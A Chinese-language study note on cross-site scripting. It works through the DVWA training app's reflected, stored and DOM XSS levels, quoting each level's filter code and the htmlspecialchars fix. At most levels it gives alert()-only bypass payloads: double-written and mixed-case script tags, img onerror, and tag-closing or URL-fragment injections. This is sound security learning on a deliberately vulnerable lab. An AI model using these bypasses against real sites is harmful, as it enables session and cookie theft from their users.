XSS学习
今天开始学习XSS,from看雪论坛
一、XSS原理
XSS:“Cross Site Scripting”、“跨站脚本攻击”
是一种注入攻击的方式,如果攻击者在网页中写入恶意的脚本代码(HTML、JavaScript),当web应用对用户过滤不严格时,一旦用户访问恶意代码页面,浏览器就会执行导致用户被攻击。
常见危害:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。
二、XSS分类
1、反射性xss(非持久型xss):
一般出现在URL参数及网站搜索栏中,需要点击包含恶意代码的URL才能触发,且仅能触发一次
2、存储形xss(持久型xss):
一般出现在网站留言板、评论区、个人资料处等用户可以对网站进行写入的地方。如果论坛评论区对用户输入过滤不严格,攻击者写一段恶意代码到评论区发表,代码就会写入数据库,当其他用户浏览界面时,网站从数据库中读取恶意代码并执行,就可以通过恶意代码窃取cookie等,无需密码就可以登陆账户。存储型xss危害比反射型大很多
3、dom型xss:
基于dom文档对象模型,前端脚本通过dom修改动态页面,dom不与服务端进行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。常见的可以操纵dom的对象:URL、localtion、referrer等
三、代码实例分析
采用DVWA(Dam Vulnerable Web Application)是使用PHP+MySql编写用于常规WEB漏洞教学和检测的WEB脆弱性测试程序,包含了SQL注入、XSS、盲注等常见的一些安全漏洞。官网http://www.dvwa.co.uk
1、反射型xss
(1)low
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
未对name进行任何编码和过滤,导致可以直接执行
<script>alert(/xss/)</script>
(2)medium
对name进行了编码,对输入的<script>标签进行替换为空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
可以采用:
①过滤中间的<script>
<scrip<script>t>alert(/xss/)</script>
②构造别的标签
<img src=0 onerror=alert(/xss1/)>
③大小写绕过
<scRipt>alert(/xss2/)</sCript>
(3)high
执行一个正则表达式的搜索和替换,这时候不论是大小写、双层<script>都无法绕过
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
此时可以使用别的标签,如<image>
<img src=0 onerror=alert(/xss/)>
(4)安全代码
使用Htmlspecialchars方法将用户输入的特殊字符转换为 HTML 实体,< > “ ‘ &等字符会被转换,于是不存在xss漏洞。
$name = htmlspecialchars( $_GET[ 'name' ] );
2、存储型xss
(1)low
①把用户输入的数据,使用trim去除字符串首尾处的空白字符(或者其他字符)。
②stripslashes方法返回一个去除转义反斜线后的字符串(' 转换为 ' 等等),双反斜线()被转换为单个反斜线()。
③mysqli_real_escape_string对字符串特殊符号n r ‘ “ 等进行转义
最终未对用户输入数据进行xss检测编码,直接写入到数据库中,于是造成存储型xss漏洞。
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
利用
<script>alert(/xss/)</script>
可以直接写入文本框
(2)medium
添加了:
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
Message由于使用了htmlspecialchars方法对用户输入数据进行编码转换,因此不存在xss漏洞。
但是name由于仅仅用了str_replace方法把<script>替换为空,因此可以采用:
①过滤中间的<script>
<scrip<script>t>alert(/xss/)</script>
②构造别的标签
<img src=0 onerror=alert(/xss1/)>
③大小写绕过
<scRipt>alert(/xss2/)</sCript>
(3)high
添加了:
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
preg_replace执行一个正则表达式的搜索和替换,此时可以使用别的标签<img> <a> <iframe>等,如:
<img src=0 onerror=alert(/xss/)>
(4)安全
添加使name和message都使用了htmlspecialchars方法,于是此处不存在xss漏洞。
$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name )
3、dom型xss
(1)low(未做安全检查):
<?php
# Don't need to do anything, protction handled on the client side
?>
未做任何安全检查,因此可以直接构造攻击:
?default=English%3Cscript%3Ealert(1)%3C/script%3E
其中%3C是<,%3E是>的转码,因为浏览器会自动解码。
(2)medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
函数解析:
array_key_exists():检查数组里是否有指定的键名或索引
stripos():返回default中字符串<script首次出现的位置(不区分大小写),如果未发现返回false。
因此default要有数值且<script>标签不可用,可以使用<img>等别的标签,先闭合</option>和</select>。
攻击:
?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20onerror=%27alert(1)%27%3E
(3)high:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
需要不满足case,进入default语句,即?default=English设置#字符,因为#之后的字符串不会被发送到服务器上,如下:
?default=English#<script>alert(1)</script>
断断续续写了好几天,终于写好了,不容易,差不多也总结了这几种攻击方式:大小写绕过、双写绕过、伪造标签,还是很实用的。
参考感谢:
(1)https://www.freebuf.com/articles/web/123779.html
(2)https://www.kanxue.com/book-6-38.htm